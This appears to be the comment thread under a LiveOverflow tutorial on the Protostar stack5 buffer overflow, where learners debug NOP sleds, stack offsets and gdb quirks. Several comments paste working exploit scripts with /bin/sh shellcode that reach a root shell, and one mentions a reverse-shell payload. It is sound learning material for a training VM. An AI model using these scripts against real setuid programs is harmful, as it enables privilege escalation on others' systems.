Just a little reminder, at 8:18 he's adding 30 as a decimal value to the address. I was wondering why I still got an 'illegal instruction' message, until I checked in dbg only to see that it added 30 as a decimal value and not as hex. This resulted in my offset being to small and not hitting in the NOPs. Using 'eip = struct.pack("I", + 0x30)' resolved this issue and I got the 'Trace/breakpoint trap'. When you get your head around this stuff it's really fascinating. Thanks for the great videos!
@@yehezkielsimbuang2349 Hey, so at 7:27 he shows how environment variables like PWD can influence where your return-address is located on the stack. On the right he executes the binary from a shorter directory-path (/tmp) and not the original one (/opt/protostar/bin), which results in the return-address being pushed down less towards lower addresses on the stack. Therefore the return-address and the payload that follows it, is located at a higher address on the stack. To compensate for that you have to add an offset to the original address to get higher on the stack and reach your payload. Because you often don't know how much higher on the stack your new return-address and your following payload is located, you add NOPs between the return-address and the payload. In my example I didn't set the offset high enough so I pointed somewhere on the stack before the NOPs begin. By using a hex offset of 0x30 (so 48 in decimal) I landed right in my NOPs which then lead to executing the payload after them. For me it helped to draw this stuff on paper to really understand it. Hope it helps ;)
Implemented the exploit on the buffer and got stuck for longer than I'd like to admit. One thing I learned the hard way: Make sure that your exploit instructions don't start overwriting themselves through stack "push" instructions..... shortening the noop-slide and adding more padding after the exploit instructions fixed things. I now understand why @LiveOverflow chose to traverse the stack in the "opposite" direction. That made things considerably easier. Long noop-slide, no worries about shell-code-self-destruction and generally less space-restriction for the exploit. Absolutely great content!
@@LiveOverflow Oh that's great timing then, haha! I'd love to see it: it definitely challenged my (mediocre) understanding of what was going on. Finally fixing it made my Friday evening. Thank you! :)
@@LiveOverflow Spoiler: I didn't figure it out fully. I got the exploit to spawn the shell from within gdb, but as in your video it closed immediately. Executing it with your cat-stdin-trick just gave me "illegal instruction"s. After some digging I found weird ssh variables defined on the stack (env-scope), including IP addresses and whatnot (in retrospect I'm wondering whether it was smart of myself to launch the VM on a desktop and ssh in with my laptop). I then just lied to myself and told myself that I had figured out how the shell-code "self-destructed" and the stack positioning was just an annoyance for another time. Then I implemented your solution :) So the truth is that I have absolutely no idea why it crashed with cat-stdin. As for how I figured out the "self-desctruction": I looked at the instructions of the exploit and compared them to what gdb was showing as it stepped through the exploit (just after the noop-slide). I then noticed that at some stage instructions were different from the source instructions (just before crashing); even though I had checked the memory right after the jump ("ret"). After some contemplating I figured that these supposed instructions actually corresponded with "/bin/bash" and some other strings that had been pushed onto the stack. Since I only had 10 bytes of padding after my exploit, the last few instructions got overwritten by the stack racing up towards the exploit. So the shell-code eventually dug its own grave. I then shortened the noop-slide and extended the padding after the exploit and it worked!!
@@LiveOverflow Alright, I finally got a fair bit further. But I'm ever so confused. If before I was at a "height of understanding", I'm back to the valley. Oh well! To begin with, here is a terminal capture of the "stack suicide": asciinema.org/a/286368 Shortening the noop slide and adding padding to the end of the buffer allowed me to execute the shell from within gdb. However, I couldn't attach to it. And executing "cat /tmp/f; cat) | /opt/protostar/bin/stack5" only gave me "segmentation fault" and "illegal instruction"s. That's where I had been before. So far so good. I then tried executing commands with "env -", which executes a process without environment variables. It turned out, that gdb still defines some env variables ("LINES", "COLUMNS"), which you can unset with "unset env VAR-NAME". I also executed commands from the same working directory using absolute paths. I thought that now I had the same buffer base address from within and outside of gdb. But I was clearly wrong, as things kept working in gdb, but not outside of it. I was contemplating for some time how to find out the "live" buffer base address without gdb (I could only think of source code modification..), and then decided to brute force the problem. So I wrote a script that simply "tries" 255 addresses to the top and bottom of the buffer base address that I got from gdb. And voila: Jumping to 0xbffffdbb spawned the shell, source code lying on the buffer!!! Why is the base address different? I don't know. I'm also unsure how to investigate further. I'll sleep some nights over this. Frustratingly, the same exploit (using address 0xbffffdbb) did not work from within the terminal directly. Only from within the python script! Why? Again I have no clue. If there's gonna be a haxember video about this (no pressure), I'll finally sleep well again :D
This episode was pretty hard for me. I always firstly watch episode and make notes, and after that I try it for myself. I had big difficulties executing shellcode outside gdb, after like 1h putting it on different positions, I had finally got it work by making more nops and picking deeper address. What a nice feeling when it finally put me in root privileges.
After watching this i have been discouraged to want to learn about computers. This intimidated the shit out of me, the level of understanding and knowledge you guys have is incredible!
As you mentioned, the stack can be unreliable, and even though you use "unset env" in gdb, you can have some trouble. You can use set exec-wrapper in gdb to ensure that the program run with env -i. (gdb) set exec-wrapper /usr/bin/env -i Thanks a lot for all your work, I'm learning a lot.
Hahaha you just broke my brain with the NOP Slide vine and the comment: "Riiight, a NOP-Slide." It's like you injected an INT3 into my brain's stack. I can't process stuff anymore. Perfect comedic timing, Hahaha
@10:55 you absolute legend, that's same thing has been stumping me for weeks. I tried similar commands but didn't think of putting in brackets. Thanks!
This was a great intro to buffer overflows. It was a bit little challenging to get working on modern 64bit Linux system, but finally figured it out. It would be really cool to see an updated video on this. Keep up the good work man!
Miscritz Brotherzz thought I was the only one. He was going so fast and the steps made no sense whatsoever. He should make a disclaimer that this is NOT for beginners
Did you know this is part of a series? This is the chapter number 0E, or in decimal, 14! Here's the full playlist: ua-cam.com/play/PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN.html
Wow, I’ve been following your channel for quite a while and just stumbled upon this vid now. Have to say this is a great companion for my current course in x86 asm since the content ties everything I learned so far together and from a very practical POV too. Thanks for the great content as always!
I've done everything, watched the video, got it working, yet still not exactly sure what I did, I'm 90% sure of everything though so I'm just gonna drill this into my head until I get it before moving on. love the tutorials so far.
These videos have helped me so much! The visuals really helped me visualize the stack better and understand where and why esp, ebp, and eip were located on the stack
Just an update, I was flying through these challenges and was perplexed about something. I never had to nop anything and my shellcode was executed no problem, never got an illegal instruction upon piping, the only time I got an "illegal instruction" was piping my script without the appended shellcode!
Nice tutorial. One thing to note though: When adding values to the esp-address to land in the nop sled: you should make them a multiple of 4 to keep the address aligned. (maybe 32 instead of 30) Otherwise you could run into "Illegal Instruction" when hitting the shellcode, as the first half of the instruction would be the \x90 from the nop.
+Alexander Druffel are you sure? I don't think that that will happen. x86 assembler uses multi length byte code and cannot be misaligned. Only if you jump in the middle of a multi byte opcode. But NOP is a single byte, so hat won't happen. Or do you have a PoC?
My PoC is my exploit working with +32 and crashing with "Illegal Instruction" on +30.. So take that for what it's worth. when i run ([...]+30) in gdb, i get SIGILL in 0xbffff7de. Memory there is 0x9090bfff. Here my python script. import struct q=lambda x:struct.pack("I",x) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" nopslide = "\x90"*100 padding = "A"*76 stack = q(0xbffff7c0+32) print padding + stack + nopslide + shellcode
0x9090bfff means it's actually "\xff\xbf\x90\x90". So the instruction you try to execute is really \xff and not \x90 NOP. If that is the case, you don't quite hit your nopsled and you have to go two bytes further. But, the exploit you shared works like a charm for me ;) user@protostar:/opt/protostar/bin$ (python /tmp/exp1.py; cat) | ./stack5 id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Well you are right. It still works with +33. My bad for not trying it out first. :) With x/50x $esp-16 i can see that i actually missed my sled. Thanks for the response.
I leave this comment to prove that during my life, i've watched this video "First Exploit! Buffer Overflow with Shellcode - bin 0x0E" and i've done this level
Hi! Thank you very much for these great videos. Just a short comment for people that use a x86_64 platform. You will get a Segmentation Fault when executing program instructions in the Stack unless you make the stack executable by using compilation flag -z execstack
Woooooooooo !!!!! That was almost the hardest tutorial-vids in my life ! But also one of the most tastiest tutorials. After spending one and a half day of trying different offsets (my adresses differs from that in your vid) count of nops and stuff like that i got the damn root shell !!! Understanding memory, assembly.... Long words short story: You've filled my brain with that damn new knowledge, that i have to say, your vids are the best hackingtuts in youtube. You made me understanding what the magic is, what behind the scenes lies. And as if changed in that root-shell the sudoers file ;) I've felt like god on cocain :D Thanks my friend, for sharing this (real) knowledge with us !! Btw guyz... When it's not working, try different offsets, amount of nops, also there is other shellcode on that page. I had a different memory-address + 28 and to use different amount of nops. (Maybe its worth to write some looping code that finds the right numbers ??? ) ;) Aber, ums auf deutsch auszudrücken: Echt, danke man !! Das ist die fetteste Tutorialreihe, die ich seit den letzten 10 Jahren gesehen habe. Liebe grüße, Vince
Warning: If you're watching in chronological uploads order, watch the next video first, then come back here. The two are unfortunately swapped. Watch the previous episode first: Buffer Overflows can Redirect Program Execution - bin 0x0D D comes before E except on UA-cam. (Both videos were Published on Feb 3, 2016, presumably at the same time which caused the swap.)
to generate the alphabet one can use this one-liner: "".join([4*chr(a) for a in range(97, 120)]). Also metasploit framework has a utility for index finding
for who got stuck like me (i got stuck 2 days even watching the video) the /bin/sh shell give seg.. fault change the shellcode same issue and then i created a reverse tcp shell from msfvenom same issue. for some reason the prob was that the shellcode does not have the setuid(0) for root so u should include it on your shellcode so in msfvenom u should include "PrependSetuid=True" and i run nc and the exploit bam got the reverse shell with root prv
omg now I understand why I do not understand it. He said to put on wizard's hats and he repeated it and I did not put it and I'm sure it is the reason =D Thanks for the tutorial. Danke noch mal =)
03:10 Unless the stack is non-executable :q So maybe a jump into some library code? I think we could modify the stack so that it contained a series of return addresses and then just allow the CPU to return through all of them to execute some code.
For those getting SEGMENTATION FAULT when trying to execute the shellcode (INT3 interrupt), here's the solution: recompile your code with this option "-z execstack" to make the stack memory executable.
my dumb ass.. I had to rewatch, and got it the second time around. I hand-typed the shellcode incorrectly the first time. So the second time around after rebooting, clearing env vars, etc, I got it by typing the shellcode from the webpage he was viewing, rather than waiting for him to copy/paste into his own term. Turns out I missed the \xb0\x0b. Cool to get that priviledge escalation. Nice video.
im doing reverse engineering on the reverse engineering that ur teaching me lol, terms apply looking every 5 second of info from google to understand the whole video but i love it
Hi. I've been programming for a while, but this is my first real attempt at doing exploits of any kind, so I apologize if I accidentally skip over any details by accident. As a challenge, I'm very doing a related program which I made specifically as an introductory program. The full source code of said program can be found here: pastebin.com/sYyGsrkZ. Additionally, the disassembly of the main function can be found here: pastebin.com/xMJEfDPT. I've successfully managed to get the program to jump to stack, similarly to how you mention at 3:08, and correctly land the instruction pointer to the opcode in my array. However, the program immediately throws a SEGFAULT upon execution of my array. My exploit string is simply 1024 ret instructions followed by the pointer to the beginning of the code as to overwrite the function pointer, and the program most certainly does land there correctly. I think I may have a nonexecutable stack, which may be interfering with the exploit. For reference, I'm using arch linux with linux kernel 4.16.6 on an x86_64 intel xeon x5670. Any help or tips of any kind would be appreciated. Thanks so much for your time.
if you compile it yourself on this modern linux, then yep, stack is not executable. I suggest you to practice these introduction challenges on older VMs such as the one shown in the videos. But overthewire is also great!
At 12:08 you say, that we escalated priviledges to root. You proove that and I was fascinated! But I don't understand why we got now a root shell. The python program you entered was started with the user "user" so how exactly could you escalated the the priviledges? Does it have something to do with the fact, we wrote an assembler instruction on the stack and the CPU executed that? But when are then lines of code executed as user and when as root? And how do syscalls come in here and when are permissions checked if the program / user has the right to execute something? This topic is still pretty new to me but very interesting! Thank you :)
AWESOME vids! They've taught me more in 10 mins than hours of reading. I can open a shell if I run it on GDB, without escalated privileges and if I run it without gdb I get an Illegal instruction (core dumped) error. Any ideas?
I'm getting a very weird problem. So I decided to have the shellcode in the buffer, rather than in its overflow. When I try the exploit in gdb it works(it says executing program bin/dash and program exitted normally), but when I run it without gdb it gives me Segmentation fault, which I can't wrap my head around. Note that also I'm doing this in the same working directory. I thought that it might be the problem that you mentioned with the envirorment variable of the pwd but I do have a nop slide and a return address that points somewhere around in the middle of it.
If you're executing stack5 from /opt/protostar/bin/stack5 then it behaves weirdly. Try executing it with the working directory in /tmp/ by typing "/opt/protostar/bin/stack5". Then it should behave the same with and without the debugger.
Nothing if it helps i found out that gdb uses the absolute path so "/opt/protostar/bin/stack5". Then everything makes a lot of sense becasuse from /tmp you are using the absolute path to stack5 but when your are in /opt/protostar/bin then you arent using the full path which changes the stack placement.
you are a wizard, many thanks! I HAVE A QUESTION: when using nopeslide, how does the payload is executed? here you are jumping to a nop operation, lets say, you jump to address x but you payload is in address y. How do we get to y if you jump to x?
Did you explain the nop-Slide in previous videos or did I miss something? I mean, I'll look it up anyway but I wondered. And why exactly did we get root access to dash? Is it something about the execve command?
Because every binary in the protostar-levels is using the setuid. (Executing as root user) So we bascially tricked the programm to start a new shell as root and giving us the input to it.
9:07 another good tool, especially if you're using Linux, is MSFVenom... Sure you've heard of it, a lot of different exploits to chose from, can generate shellcode without certain chars, of a certain size etc
After much searching i finally get the basic idea. So how would this work on "real" programs with the modern protections. I find the more i look into it the more complex it gets:D
First of all i love your videos, please never stop uploading ;) Right now i have the problem that my program which i am trying to exploit is using strcpy to copy a string from a comand line argument to a buffer. I am able to inject the 0xCC byte and it will be successfully executed. But i am not able to access the /bin/sh. The trick with cat is not working since the program does not read from stdin. After all i am trying to read a File on the remote Server,should i try to write my own shellcode or is there a trick i could use?
+Zane Helton probably because you are in a different folder. The current working directory and path etc is stored on the stack, so it pushes around the stack and the addresses for the exploit only match nicely for the one directory
Great UA-cam Channel I am starting from scratch trying to learn about Buffer Overflow , like f.x. "find starting address of heap and stack" In what row should I watch the videos ?
there is a binary exploitation playlist that has some order. However a lot of topics create circle references and it also make sense to watch further than you understand. And then maybe revisit earlier videos again.
If anyone is getting seg fault please be aware 1st of all that gets() doesnot work nowadays as it has been removed from the gcc. Instead if you want to accomplish a similar behaviour one may use strcpy(). However it will not work with the input redirection command which is "
LiveOverflow thnku sir since I am learning from your videos I might be wrong but I discovered this during complication on gcc which recommended fgets instead of gets. Please throw some light
Btw to set the real user ID to root (uid=0) you can use shellcode with a setreuid call like /shellcode/files/shellcode-250.php at shell-storm. I came across binaries/files before that checked real uid instead of the effective uid
you should be getting illegal instruction, thats because "gdb is using int3 internally" so pass "handle SIGTRAP nostop noprint pass" you will get sigtrap... btw: GREAT CONTENT, @LiveOverFlow
After all nops at 8:34 we see from address 0xbffff824 to 0xbffff827 the content of "0xb7ff6200". Why do we not see our payload "0xcccccccc" at that location? According to the python script, 0xcccccccc should come right after the 100 nops. Why is this not visible at 8:34, when you examine the stack? Also, thank you for this great series!
For all those who get a segfault or else : You should make `exploit.py` like that : #--------------------------------------------------------------------------------- import struct buf_val = #This value has to be found using the vulnerable program with the memory leak vulnerability, the value should look like 0x7fffffffde20 if it's compiled in 64 bits start_buf = buf_val - 9 #Got from memory leak padding = "A"*(256+8) #shellcode = "\xcc"*64 # This instruction should give a SIGTRAP, trace/breakpoint trap shellcode = "\x90\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" #This shellcode should spawn a shell RIP = struct.pack("Q", (start_buf+len(padding)+8)+10) # Getting the EIP register from start_buf payload = padding + RIP + "\x90"*64 + shellcode print(payload) #Printing the payload to stdout #Original code from LiveOverflow (gist.github.com/LiveOverflow/5fa36bec51968de696b11d3548b02148), i made modifications to make it work without sockets #--------------------------------------------------------------------------------- To find make it actually works and to find `buf_val` in my exploit you should edit main.c like that : //--------------------------------------------------------------------------------- #include #include void vuln() { char buf[256] = {0}; gets(buf); printf(buf); } int main(int argc, char* argv[]) { vuln(); }//--------------------------------------------------------------------------------- To find the `buf_val` value in `exploit.py`, you have to use `printf()` vulnerability, so in the vulnerable program `vuln`, you have to enter `%p,%p,%p,%p,%p,%p` or more `%p,`, it should give you some values, the value we're looking for should be something like `0x7fffffffde20` (if it's compiled in 64 bits), it is generaly the second or the 4th value Now you just have to take this value, and place it in the value of `buf_val` of `exploit.py`, then to run the exploit (github page where i have all the files : github.com/TheCrazzXz/Exploits-Lab/tree/main/Challenges/Simple-vulns/root-shell-by-shellcode-injection)
Why is at 8:36 no 0xcccccccc at the end of the NOP slide (at 0xbffff824)? There is 0xb7ff6200 instead. The INT instruction gets somehow executed though. How? What did I miss?
Рік тому
Yeah, I was wondering the same... Any answers to this?
what would happen if you changed the environment variable user to root by changing the stack (by going to an address with your code, and have that code change the memory at that address?) would that work/do anything?
So basically, anyone who would have a program that was written with gets, opens their self's to escalation of permissions? Seems like something fun to do on the school laptops 😂
Just a bit before 3:22 when you pipe the alphabet into the debugger, how do you do this? When I try it, no matter what I do it doesn't recognise it as input. It treats it as if I haven't inputted any arguments at all. My python script is exactly the same as the one in the video
Hello guys, and thanks to +LiveOverFlow for the amazing video. First of all, just wanted to say I am not a hacker, I am really new to this and I am just doing it for fun and educational purposes. I am getting stuck at 6:20, In the first terminal I got the Trace/Break Point, and if I go to the second terminal and I execute the file I got the "Illegal Instructions" message, however, when I try to run the file using gdb (In 2nd Terminal) I only get Trace/breakpoints traps and I have to step forward like 4 times in order to get the "Illegal Instructions" here. Due to this when Im comparing the stack address I have in Terminal 1 and Terminal 2, they are identical. Any ideas? Sincerely, NewbornHacker (Not even) hahahah!
hi, maybe a noob question, but we used the return address of main on stack, right? Can we use the return address of "gets" on stack to enter shell code?
The memory allocated for the buffer is in the stack frame of main, so adding values to the buffer makes it grow from lower addresses to higher ones. This means that the buffer can overflow only into higher addresses, where the ebp of the stack frame that main was called from and the address where the program should return to after main is executed are stored. This means that with the buffer you can overwrite the address for the program to return to after the execution of main. However the gets function gets a stack frame on top of main's stack frame(in lower addresses). The address to return to after the execution of gets is stored on top of( in a lower address) than the buffer, therefore you cannot overwrite it because the buffer grows downwards.
04:48 What if the code is in a read-only memory? The debugger cannot just swap instructons with `int3` then, right? :q So how can it still debug such read-only code?
This guy is one of those guys I listen to in normal speed
lol thats so true
eh 1.4 / 1.5 but yup pretty dense.
Lol definitely. He also has some accelerations from time to time. Thats when I double back for a replay.
seriusan lu bang?
Tutorialları 2x hızda izlemeyen gaydir.
My left ear is jealous
lmao
good sense of humour lol
damn, made my day
are you talking about the music at the start
LOL xD
Just a little reminder, at 8:18 he's adding 30 as a decimal value to the address. I was wondering why I still got an 'illegal instruction' message, until I checked in dbg only to see that it added 30 as a decimal value and not as hex. This resulted in my offset being to small and not hitting in the NOPs. Using 'eip = struct.pack("I", + 0x30)' resolved this issue and I got the 'Trace/breakpoint trap'. When you get your head around this stuff it's really fascinating. Thanks for the great videos!
Thanks, it worked for me also
i cant understand sir, " This resulted in my offset being to small and not hitting in the NOPs" what the meaning of this? can u explain to me pls
@@yehezkielsimbuang2349 Hey, so at 7:27 he shows how environment variables like PWD can influence where your return-address is located on the stack. On the right he executes the binary from a shorter directory-path (/tmp) and not the original one (/opt/protostar/bin), which results in the return-address being pushed down less towards lower addresses on the stack. Therefore the return-address and the payload that follows it, is located at a higher address on the stack.
To compensate for that you have to add an offset to the original address to get higher on the stack and reach your payload. Because you often don't know how much higher on the stack your new return-address and your following payload is located, you add NOPs between the return-address and the payload.
In my example I didn't set the offset high enough so I pointed somewhere on the stack before the NOPs begin. By using a hex offset of 0x30 (so 48 in decimal) I landed right in my NOPs which then lead to executing the payload after them.
For me it helped to draw this stuff on paper to really understand it. Hope it helps ;)
@@MyTokyodrift ah thank you sir, i understand now how it works
Implemented the exploit on the buffer and got stuck for longer than I'd like to admit. One thing I learned the hard way: Make sure that your exploit instructions don't start overwriting themselves through stack "push" instructions..... shortening the noop-slide and adding more padding after the exploit instructions fixed things.
I now understand why @LiveOverflow chose to traverse the stack in the "opposite" direction. That made things considerably easier. Long noop-slide, no worries about shell-code-self-destruction and generally less space-restriction for the exploit.
Absolutely great content!
I actually want to cover this during the haxember videos :D sorry I didn’t do this earlier
@@LiveOverflow Oh that's great timing then, haha! I'd love to see it: it definitely challenged my (mediocre) understanding of what was going on. Finally fixing it made my Friday evening. Thank you! :)
How did you figure it out in the end? It’s a real WTFFFF issue
@@LiveOverflow Spoiler: I didn't figure it out fully. I got the exploit to spawn the shell from within gdb, but as in your video it closed immediately. Executing it with your cat-stdin-trick just gave me "illegal instruction"s. After some digging I found weird ssh variables defined on the stack (env-scope), including IP addresses and whatnot (in retrospect I'm wondering whether it was smart of myself to launch the VM on a desktop and ssh in with my laptop). I then just lied to myself and told myself that I had figured out how the shell-code "self-destructed" and the stack positioning was just an annoyance for another time. Then I implemented your solution :) So the truth is that I have absolutely no idea why it crashed with cat-stdin.
As for how I figured out the "self-desctruction": I looked at the instructions of the exploit and compared them to what gdb was showing as it stepped through the exploit (just after the noop-slide). I then noticed that at some stage instructions were different from the source instructions (just before crashing); even though I had checked the memory right after the jump ("ret"). After some contemplating I figured that these supposed instructions actually corresponded with "/bin/bash" and some other strings that had been pushed onto the stack. Since I only had 10 bytes of padding after my exploit, the last few instructions got overwritten by the stack racing up towards the exploit. So the shell-code eventually dug its own grave. I then shortened the noop-slide and extended the padding after the exploit and it worked!!
@@LiveOverflow Alright, I finally got a fair bit further. But I'm ever so confused. If before I was at a "height of understanding", I'm back to the valley. Oh well! To begin with, here is a terminal capture of the "stack suicide": asciinema.org/a/286368
Shortening the noop slide and adding padding to the end of the buffer allowed me to execute the shell from within gdb. However, I couldn't attach to it. And executing "cat /tmp/f; cat) | /opt/protostar/bin/stack5" only gave me "segmentation fault" and "illegal instruction"s. That's where I had been before. So far so good.
I then tried executing commands with "env -", which executes a process without environment variables. It turned out, that gdb still defines some env variables ("LINES", "COLUMNS"), which you can unset with "unset env VAR-NAME". I also executed commands from the same working directory using absolute paths. I thought that now I had the same buffer base address from within and outside of gdb. But I was clearly wrong, as things kept working in gdb, but not outside of it. I was contemplating for some time how to find out the "live" buffer base address without gdb (I could only think of source code modification..), and then decided to brute force the problem. So I wrote a script that simply "tries" 255 addresses to the top and bottom of the buffer base address that I got from gdb. And voila: Jumping to 0xbffffdbb spawned the shell, source code lying on the buffer!!!
Why is the base address different? I don't know. I'm also unsure how to investigate further. I'll sleep some nights over this. Frustratingly, the same exploit (using address 0xbffffdbb) did not work from within the terminal directly. Only from within the python script! Why? Again I have no clue.
If there's gonna be a haxember video about this (no pressure), I'll finally sleep well again :D
This episode was pretty hard for me. I always firstly watch episode and make notes, and after that I try it for myself. I had big difficulties executing shellcode outside gdb, after like 1h putting it on different positions, I had finally got it work by making more nops and picking deeper address. What a nice feeling when it finally put me in root privileges.
Instructions unclear, ran out of wizard hats!
lol
Illegal instruction
After watching this i have been discouraged to want to learn about computers. This intimidated the shit out of me, the level of understanding and knowledge you guys have is incredible!
You can simple take some time to understand better the things in the video and if you are new to computers stuff watch the entire Playlist of it
0:56 so do i put on two wizard's hats?
but you only allocated space for one, wizard hat overflow!
lol
REPETITION LEGITIMIZES
Daniel Chin Adam Neely ?
@@benjaminnadarevic5714 made my day :))
As you mentioned, the stack can be unreliable, and even though you use "unset env" in gdb, you can have some trouble.
You can use set exec-wrapper in gdb to ensure that the program run with env -i.
(gdb) set exec-wrapper /usr/bin/env -i
Thanks a lot for all your work, I'm learning a lot.
Hahaha you just broke my brain with the NOP Slide vine and the comment: "Riiight, a NOP-Slide." It's like you injected an INT3 into my brain's stack. I can't process stuff anymore. Perfect comedic timing, Hahaha
@10:55 you absolute legend, that's same thing has been stumping me for weeks. I tried similar commands but didn't think of putting in brackets. Thanks!
I got a broken pipe error when I applied that. Any suggestions?
This was a great intro to buffer overflows. It was a bit little challenging to get working on modern 64bit Linux system, but finally figured it out. It would be really cool to see an updated video on this. Keep up the good work man!
INFORMATION OVERFLOW
too much info and stuff happening. i will watch again few days later after doing some googling
Miscritz Brotherzz thought I was the only one. He was going so fast and the steps made no sense whatsoever. He should make a disclaimer that this is NOT for beginners
Did you know this is part of a series? This is the chapter number 0E, or in decimal, 14! Here's the full playlist: ua-cam.com/play/PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN.html
I was following the playlist but still was very confused
@@silverzero9524 did you understood it ?
If yes please explain!
Holy crap, took me 2 tries (messed up my nop slide) but the feeling when I typed "whoami" > root was SO worth it!
Thanks man, thanks a lot.
That last 30 seconds is very tricky/clever. Thanks for including it. I would have been stuck for a long time... :)
Wow, I’ve been following your channel for quite a while and just stumbled upon this vid now. Have to say this is a great companion for my current course in x86 asm since the content ties everything I learned so far together and from a very practical POV too. Thanks for the great content as always!
I was shocked that my left speakers stopped working after hearing your intro. Damn they are my new ones :O
3:37 op code "\xCC" (INT3)
8:09 NOP sled
9:03 shellcode database
10:27 shell without input
I think I just fried my brain, this was so intense for me, but I got it working in the end, so worth!
I like your pronunciation is very clear to understand and how you explain is awesome.
I've done everything, watched the video, got it working, yet still not exactly sure what I did, I'm 90% sure of everything though so I'm just gonna drill this into my head until I get it before moving on. love the tutorials so far.
As someone whose just started. do you need to understand the dynamics behind all of this, and why things are happening exactly as they are ?
These videos have helped me so much! The visuals really helped me visualize the stack better and understand where and why esp, ebp, and eip were located on the stack
Just an update, I was flying through these challenges and was perplexed about something. I never had to nop anything and my shellcode was executed no problem, never got an illegal instruction upon piping, the only time I got an "illegal instruction" was piping my script without the appended shellcode!
1st time I watch this I was like wtf is going on... 2nd time... okay now it makes more sense..... great logic and explaination
Nice tutorial. One thing to note though: When adding values to the esp-address to land in the nop sled: you should make them a multiple of 4 to keep the address aligned. (maybe 32 instead of 30)
Otherwise you could run into "Illegal Instruction" when hitting the shellcode, as the first half of the instruction would be the \x90 from the nop.
+Alexander Druffel are you sure? I don't think that that will happen. x86 assembler uses multi length byte code and cannot be misaligned. Only if you jump in the middle of a multi byte opcode. But NOP is a single byte, so hat won't happen. Or do you have a PoC?
My PoC is my exploit working with +32 and crashing with "Illegal Instruction" on +30.. So take that for what it's worth.
when i run ([...]+30) in gdb, i get SIGILL in 0xbffff7de.
Memory there is 0x9090bfff.
Here my python script.
import struct
q=lambda x:struct.pack("I",x)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nopslide = "\x90"*100
padding = "A"*76
stack = q(0xbffff7c0+32)
print padding + stack + nopslide + shellcode
0x9090bfff means it's actually
"\xff\xbf\x90\x90". So the instruction you try to execute is really \xff and not \x90 NOP. If that is the case, you don't quite hit your nopsled and you have to go two bytes further.
But, the exploit you shared works like a charm for me ;)
user@protostar:/opt/protostar/bin$ (python /tmp/exp1.py; cat) | ./stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Well you are right. It still works with +33. My bad for not trying it out first. :)
With x/50x $esp-16 i can see that i actually missed my sled. Thanks for the response.
thanks.. this conversations helped me out !
I leave this comment to prove that during my life, i've watched this video "First Exploit! Buffer Overflow with Shellcode - bin 0x0E" and i've done this level
Hi! Thank you very much for these great videos.
Just a short comment for people that use a x86_64 platform. You will get a Segmentation Fault when executing program instructions in the Stack unless you make the stack executable by using compilation flag -z execstack
+Christophe Crémy thanks! And same applies to x86 :) this VM is just specifically set up to teach this stuff
I compiled with flag gcc -fno-stack-protector -z execstack and I can't excute because Segmentation fault (core dumped). Help me ! Tks
Woooooooooo !!!!!
That was almost the hardest tutorial-vids in my life !
But also one of the most tastiest tutorials. After spending one and a half day of trying different offsets (my adresses differs from that in your vid) count of nops and stuff like that i got the damn root shell !!! Understanding memory, assembly.... Long words short story:
You've filled my brain with that damn new knowledge, that i have to say, your vids are the best hackingtuts in youtube.
You made me understanding what the magic is, what behind the scenes lies.
And as if changed in that root-shell the sudoers file ;)
I've felt like god on cocain :D
Thanks my friend, for sharing this (real) knowledge with us !!
Btw guyz...
When it's not working, try different offsets, amount of nops, also there is other shellcode on that page. I had a different memory-address + 28 and to use different amount of nops.
(Maybe its worth to write some looping code that finds the right numbers ??? ) ;)
Aber, ums auf deutsch auszudrücken:
Echt, danke man !!
Das ist die fetteste Tutorialreihe, die ich seit den letzten 10 Jahren gesehen habe.
Liebe grüße,
Vince
Warning: If you're watching in chronological uploads order, watch the next video first, then come back here. The two are unfortunately swapped. Watch the previous episode first: Buffer Overflows can Redirect Program Execution - bin 0x0D
D comes before E except on UA-cam. (Both videos were Published on Feb 3, 2016, presumably at the same time which caused the swap.)
My brain overflow!
to generate the alphabet one can use this one-liner: "".join([4*chr(a) for a in range(97, 120)]). Also metasploit framework has a utility for index finding
this took me a long time. had to add some extra nops. but finally it worked. Awesome!! superb video. thanks a lot
This is one of the few channels that actually makes sense and has quality security content. Good job sir!
Thanks for your tutorial sir, I was able to do my first buffer overflow with shellcode execution. It feels so satisfying
Fucckkkkk!!! I've been scratching my head over for this for days !
Seriously these are some of the best instruction vids!
I had a different memory address and had to add 64 to my stack for me to get Trace/breakpoint trap to work
If you're running this on your own, also make sure you compile with the "-fno-stack-protector" flag and "-z execstack" flags
also with -no-pie flag
this is gonna be asked on my infofrmation security exam the day after tomorrow, wish me luck
Your tutorials are just awesome!
Keep do that and thanks for investing all the time to make these vids.
for who got stuck like me (i got stuck 2 days even watching the video) the /bin/sh shell give seg.. fault change the shellcode same issue and then i created a reverse tcp shell from msfvenom same issue. for some reason the prob was that the shellcode does not have the setuid(0) for root so u should include it on your shellcode so in msfvenom u should include "PrependSetuid=True" and i run nc and the exploit bam got the reverse shell with root prv
omg now I understand why I do not understand it. He said to put on wizard's hats and he repeated it and I did not put it and I'm sure it is the reason =D Thanks for the tutorial. Danke noch mal =)
if it apperas nuts at first few times - really just return to it few days later. I understood so much better after one week not thinking about it
03:10 Unless the stack is non-executable :q
So maybe a jump into some library code? I think we could modify the stack so that it contained a series of return addresses and then just allow the CPU to return through all of them to execute some code.
east or west
YOU ARE THE BEST....
For those getting SEGMENTATION FAULT when trying to execute the shellcode (INT3 interrupt), here's the solution:
recompile your code with this option "-z execstack" to make the stack memory executable.
thx bro
my dumb ass.. I had to rewatch, and got it the second time around. I hand-typed the shellcode incorrectly the first time. So the second time around after rebooting, clearing env vars, etc, I got it by typing the shellcode from the webpage he was viewing, rather than waiting for him to copy/paste into his own term. Turns out I missed the \xb0\x0b. Cool to get that priviledge escalation. Nice video.
im doing reverse engineering on the reverse engineering that ur teaching me lol, terms apply looking every 5 second of info from google to understand the whole video but i love it
